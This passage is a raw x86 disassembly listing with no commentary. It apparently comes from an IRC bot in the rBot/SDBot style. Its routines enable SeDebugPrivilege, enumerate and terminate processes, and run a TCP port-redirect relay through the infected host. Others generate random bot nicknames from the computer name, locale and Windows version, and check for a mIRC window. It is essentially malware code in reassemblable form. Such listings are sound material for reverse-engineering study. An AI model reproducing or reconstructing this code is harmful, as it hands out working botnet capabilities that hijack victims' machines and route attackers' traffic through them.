		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_42D878	; htons
		mov	[ebp+var_E], ax


loc_405CC3:				; CODE XREF: sub_405B11+13Ej
					; sub_405B11+15Aj ...
		cmp	[ebp+var_30], edi
		jg	short loc_405C6D
		dec	[ebp+var_30]
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_41CDF8
		push	eax
		call	sub_40C6C3
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_405D0B
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_404555
		add	esp, 14h


loc_405D0B:				; CODE XREF: sub_405B11+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_403145
		push	[ebp+var_20]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	edi
		call	dword_418050	; ExitThread
sub_405B11	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D28	proc near		; CODE XREF: sub_4054F9+7p
					; sub_405D93+53p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4180D4	; GetCurrentProcess
		push	eax
		call	dword_42D85C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_405D47
		leave
		retn
; ---------------------------------------------------------------------------


loc_405D47:				; CODE XREF: sub_405D28+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_42D838	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_405D85
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_405D6E
		or	[ebp+var_8], 2
		jmp	short loc_405D72
; ---------------------------------------------------------------------------


loc_405D6E:				; CODE XREF: sub_405D28+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_405D72:				; CODE XREF: sub_405D28+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_42D8E0	; AdjustTokenPrivileges
		mov	esi, eax


loc_405D85:				; CODE XREF: sub_405D28+32j
		push	[ebp+var_4]
		call	dword_41807C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_405D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D93	proc near		; CODE XREF: sub_405F40+74p
					; sub_4077FD+2BD4p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_42D898, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	short loc_405E38
		cmp	dword_42D87C, ebx
		jz	short loc_405E38
		cmp	dword_42D7A8, ebx
		jz	short loc_405E38
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_405D28
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_42D898	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_405E2B
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	dword_42D87C	; Process32First
		mov	esi, dword_41807C
		test	eax, eax
		jnz	loc_405EEE


loc_405E26:				; CODE XREF: sub_405D93+173j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_405E2B:				; CODE XREF: sub_405D93+69j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_405D28
		pop	ecx
		pop	ecx


loc_405E38:				; CODE XREF: sub_405D93+3Aj
					; sub_405D93+42j ...
		xor	eax, eax


loc_405E3A:				; CODE XREF: sub_405D93+1A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_405E3F:				; CODE XREF: sub_405D93+16Dj
		cmp	[ebp+arg_10], ebx
		jnz	loc_405EEE
		cmp	[ebp+arg_C], ebx
		jnz	loc_405ED9
		cmp	[ebp+arg_4], ebx
		jz	loc_405EEE
		push	[ebp+var_124]
		push	8
		call	dword_42D898	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_405E99
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_42D758	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_405E9F
		lea	eax, [ebp+var_230]
		jmp	short loc_405EA5
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_405D93+E4j
		push	[ebp+var_124]


loc_405E9F:				; CODE XREF: sub_405D93+FCj
		lea	eax, [ebp+var_108]


loc_405EA5:				; CODE XREF: sub_405D93+104j
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_40C6C3
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404555
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_405EEE
; ---------------------------------------------------------------------------


loc_405ED9:				; CODE XREF: sub_405D93+B8j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F0B


loc_405EEE:				; CODE XREF: sub_405D93+8Dj
					; sub_405D93+AFj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_42D7A8	; Process32Next
		test	eax, eax
		jnz	loc_405E3F
		jmp	loc_405E26
; ---------------------------------------------------------------------------


loc_405F0B:				; CODE XREF: sub_405D93+159j
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	dword_4180DC	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	dword_4180D8	; TerminateProcess
		test	eax, eax
		jnz	short loc_405F38
		push	edi
		call	esi	; CloseHandle
		jmp	loc_405E38
; ---------------------------------------------------------------------------


loc_405F38:				; CODE XREF: sub_405D93+19Bj
		xor	eax, eax
		inc	eax
		jmp	loc_405E3A
sub_405D93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F40	proc near		; DATA XREF: sub_4077FD+3462o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_41CEBC
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40C6C3
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_405F9F
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_404555
		add	esp, 14h


loc_405F9F:				; CODE XREF: sub_405F40+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_405D93
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_405FCD
		push	offset unk_41CE94
		jmp	short loc_405FD2
; ---------------------------------------------------------------------------


loc_405FCD:				; CODE XREF: sub_405F40+84j
		push	offset unk_41CE70


loc_405FD2:				; CODE XREF: sub_405F40+8Bj
		push	eax
		call	sub_40C6C3
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_405FFF
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_404555
		add	esp, 14h


loc_405FFF:				; CODE XREF: sub_405F40+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_403145
		push	[ebp+var_14]
		call	sub_40C378
		pop	ecx
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
sub_405F40	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40601E	proc near		; CODE XREF: sub_4077FD+2B72p
					; sub_40C19D+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_4180DC	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_406050
		push	0
		push	esi
		call	dword_4180D8	; TerminateProcess
		test	eax, eax
		jnz	short loc_406050
		push	esi
		xor	edi, edi
		call	dword_41807C	; CloseHandle


loc_406050:				; CODE XREF: sub_40601E+1Aj
					; sub_40601E+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40601E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406055	proc near		; DATA XREF: sub_4077FD+20D2o

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_42D878	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_42D8F4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4061AD
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_42F414[ecx], eax
		call	dword_42D7A4	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8A4	; bind
		test	eax, eax
		jnz	loc_4061AD
		push	0Ah
		push	[ebp+arg_0]
		call	dword_42D8A0	; listen
		test	eax, eax
		jnz	loc_4061AD


loc_406105:				; CODE XREF: sub_406055+C6j
					; sub_406055+153j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D908	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_406105
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_41D760
		push	eax
		call	sub_40C6C3
		push	edi
		lea	eax, [ebp+var_350]
		push	0Fh
		push	eax
		call	sub_40C062
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_42F40C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_4061D2
		push	esi
		push	esi
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_42F41C[ecx], eax
		jz	short loc_4061B0
		jmp	short loc_4061A3
; ---------------------------------------------------------------------------


loc_40619B:				; CODE XREF: sub_406055+151j
		push	32h
		call	dword_418040	; Sleep


loc_4061A3:				; CODE XREF: sub_406055+144j
		cmp	[ebp+var_30], esi
		jz	short loc_40619B
		jmp	loc_406105
; ---------------------------------------------------------------------------


loc_4061AD:				; CODE XREF: sub_406055+63j
					; sub_406055+97j ...
		mov	edi, [ebp+arg_0]


loc_4061B0:				; CODE XREF: sub_406055+142j
		push	edi
		call	dword_42D90C	; closesocket
		push	[ebp+arg_0]
		call	dword_42D90C	; closesocket
		push	[ebp+var_40]
		call	sub_40C378
		pop	ecx
		push	esi
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
sub_406055	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061D2	proc near		; DATA XREF: sub_406055+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_40CCA0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_42D8F4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_406373
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_42D878	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42D8B4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_406262
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_42D8F8	; gethostbyname
		jmp	short loc_406270
; ---------------------------------------------------------------------------


loc_406262:				; CODE XREF: sub_4061D2+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_42D834	; gethostbyaddr


loc_406270:				; CODE XREF: sub_4061D2+8Ej
		cmp	eax, edi
		jz	loc_406373
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_42D824	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_406373
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_42D900	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_41D7A8
		push	eax
		call	sub_40C6C3
		push	esi
		lea	eax, [ebp+var_344]
		push	0Fh
		push	eax
		call	sub_40C062
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_42F414[ebx]
		mov	dword_42F40C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_42F418[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_4063A4
		push	edi
		push	edi
		call	dword_418048	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_42F41C[ecx], eax
		jz	short loc_406373
		jmp	short loc_40632C
; ---------------------------------------------------------------------------


loc_406324:				; CODE XREF: sub_4061D2+15Dj
		push	32h
		call	dword_418040	; Sleep


loc_40632C:				; CODE XREF: sub_4061D2+150j
		cmp	[ebp+var_20], edi
		jz	short loc_406324
		mov	ebx, 1000h


loc_406336:				; CODE XREF: sub_4061D2+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_42D890	; recv
		cmp	eax, edi
		jle	short loc_406373
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406336


loc_406373:				; CODE XREF: sub_4061D2+44j
					; sub_4061D2+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_42F414[eax]
		call	dword_42D90C	; closesocket
		push	[ebp+arg_0]
		call	dword_42D90C	; closesocket
		push	[ebp+var_4]
		call	sub_40C378
		pop	ecx
		push	edi
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4061D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063A4	proc near		; DATA XREF: sub_4061D2+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_40CCA0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_4063DB:				; CODE XREF: sub_4063A4+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_42F418[esi]
		call	dword_42D890	; recv
		test	eax, eax
		jle	short loc_406422
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_42F414[esi]
		call	dword_42D8C4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4063DB


loc_406422:				; CODE XREF: sub_4063A4+61j
		push	dword_42F418[esi]
		call	dword_42D90C	; closesocket
		push	[ebp+var_14]
		call	sub_40C378
		pop	ecx
		push	0
		call	dword_418050	; ExitThread
		pop	edi
		pop	esi
sub_4063A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406441	proc near		; CODE XREF: sub_406777+4Ap
					; DATA XREF: .nsp0:off_41D800o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aWw ; "Ww|"
		push	offset aS_0	; "%s"
		push	1Ch
		push	edi
		call	sub_40D3F7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41DE54, esi
		jle	short loc_40649A


loc_406474:				; CODE XREF: sub_406441+57j
		call	sub_40CB5F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41D854
		push	1Ch
		push	edi
		call	sub_40D3F7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41DE54
		jl	short loc_406474


loc_40649A:				; CODE XREF: sub_406441+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406441	endp


; =============== S U B	R O U T	I N E =======================================



sub_40649F	proc near		; CODE XREF: sub_4077FD+24E7p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		call	sub_40CB5F
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_41DE54
		test	esi, esi
		jle	short loc_4064E2


loc_4064CC:				; CODE XREF: sub_40649F+41j
		call	sub_40CB5F
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_4064CC


loc_4064E2:				; CODE XREF: sub_40649F+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40649F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		lea	eax, [ebp-4]
		mov	esi, offset dword_41D85C
		push	eax
		push	esi
		call	dword_4180D0	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_40D3F7
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_41DE54, esi
		jle	short loc_406555


loc_40652F:				; CODE XREF: .nsp0:00406553j
		call	sub_40CB5F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41D854
		push	1Ch
		push	edi
		call	sub_40D3F7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41DE54
		jl	short loc_40652F


loc_406555:				; CODE XREF: .nsp0:0040652Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_418000	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_41D860
		push	1Ch
		push	edi
		call	sub_40D3F7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41DE54, esi
		jle	short loc_4065CA


loc_4065A4:				; CODE XREF: .nsp0:004065C8j
		call	sub_40CB5F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41D854
		push	1Ch
		push	edi
		call	sub_40D3F7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41DE54
		jl	short loc_4065A4


loc_4065CA:				; CODE XREF: .nsp0:004065A2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_4242F0
		mov	dword ptr [ebp-94h], 94h
		call	dword_4180E0	; GetVersionExA
		call	dword_41805C	; GetTickCount
		push	eax
		call	sub_40CB55
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_406654
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_406634
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_406624
		mov	esi, offset dword_41D888


loc_406624:				; CODE XREF: .nsp0:0040661Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_406690
		mov	esi, offset dword_41D884
		jmp	short loc_406690
; ---------------------------------------------------------------------------


loc_406634:				; CODE XREF: .nsp0:00406614j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_406644
		mov	esi, offset dword_41D880
		jmp	short loc_406690
; ---------------------------------------------------------------------------


loc_406644:				; CODE XREF: .nsp0:0040663Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40668B
		mov	esi, offset dword_41D87C
		jmp	short loc_406690
; ---------------------------------------------------------------------------


loc_406654:				; CODE XREF: .nsp0:0040660Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40668B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40666D
		mov	esi, offset dword_41D878
		jmp	short loc_406690
; ---------------------------------------------------------------------------


loc_40666D:				; CODE XREF: .nsp0:00406664j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40667D
		mov	esi, offset dword_41D874
		jmp	short loc_406690
; ---------------------------------------------------------------------------


loc_40667D:				; CODE XREF: .nsp0:00406674j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_41D870
		jz	short loc_406690


loc_40668B:				; CODE XREF: .nsp0:0040664Bj
					; .nsp0:0040665Bj
		mov	esi, offset dword_41D86C


loc_406690:				; CODE XREF: .nsp0:0040662Bj
					; .nsp0:00406632j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_41D864
		push	1Ch
		push	edi
		call	sub_40D3F7
		xor	esi, esi
		add	esp, 10h
		cmp	dword_41DE54, esi
		jle	short loc_4066D4


loc_4066AE:				; CODE XREF: .nsp0:004066D2j
		call	sub_40CB5F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_41D854
		push	1Ch
		push	edi
		call	sub_40D3F7
		add	esp, 14h
		inc	esi
		cmp	esi, dword_41DE54
		jl	short loc_4066AE


loc_4066D4:				; CODE XREF: .nsp0:004066ACj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066DA	proc near		; CODE XREF: sub_406777+5Dp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_41805C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		call	dword_42D884	; FindWindowA
		cmp	esi, 0Ah
		jbe	short loc_406729
		test	eax, eax
		mov	eax, offset dword_41D894
		jnz	short loc_406712
		mov	eax, offset byte_4242F0


loc_406712:				; CODE XREF: sub_4066DA+31j
		push	eax
		push	esi
		push	offset dword_41D88C
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_40D3F7
		add	esp, 14h
		jmp	short loc_406743
; ---------------------------------------------------------------------------


loc_406729:				; CODE XREF: sub_4066DA+28j
		test	eax, eax
		mov	eax, offset dword_41D894
		jnz	short loc_406737
		mov	eax, offset byte_4242F0


loc_406737:				; CODE XREF: sub_4066DA+56j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40C6C3
		pop	ecx
		pop	ecx


loc_406743:				; CODE XREF: sub_4066DA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40CBC0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_406772
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_40C5A0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_40C720
		add	esp, 18h


loc_406772:				; CODE XREF: sub_4066DA+77j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4066DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406777	proc near		; CODE XREF: sub_40752C+7Fp
					; sub_407681+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_406780:				; CODE XREF: sub_406777+40j
		cmp	[ebp+arg_C], 0
		jz	short loc_40679E
		lea	eax, dword_41D7F0[esi]
		push	eax
		push	[ebp+arg_C]
		call	sub_40D860
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4067AC
; ---------------------------------------------------------------------------


loc_40679E:				; CODE XREF: sub_406777+Dj
		mov	ecx, dword_41D7FC[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_4067AC:				; CODE XREF: sub_406777+25j
		test	eax, eax
		jnz	short loc_4067BB
		add	esi, 14h
		inc	edi
		cmp	esi, 64h
		jb	short loc_406780
		jmp	short loc_4067C9
; ---------------------------------------------------------------------------


loc_4067BB:				; CODE XREF: sub_406777+37j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_41D800[eax*4]
		pop	ecx


loc_4067C9:				; CODE XREF: sub_406777+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
